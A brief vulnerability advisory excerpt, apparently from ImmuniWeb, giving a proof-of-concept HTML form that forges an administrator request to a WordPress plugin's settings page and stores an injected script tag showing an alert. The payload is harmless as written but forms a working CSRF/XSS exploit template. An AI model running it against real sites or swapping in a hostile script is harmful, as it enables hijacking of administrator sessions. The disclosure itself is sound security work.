The exploitation example below injects JavaScript code, which uses the "alert()" function to display "immuniweb" word:
<form action="http://[host]/wp-admin/options-general.php?page=askapache-firefox-adsense.php" method="post" name="main">
<input type="hidden" name="aafireadcode" value='<script>alert("immuniweb");</script>'>
<input type="submit" id="btn">
</form>
京公网安备 11010502034610号
暂无评论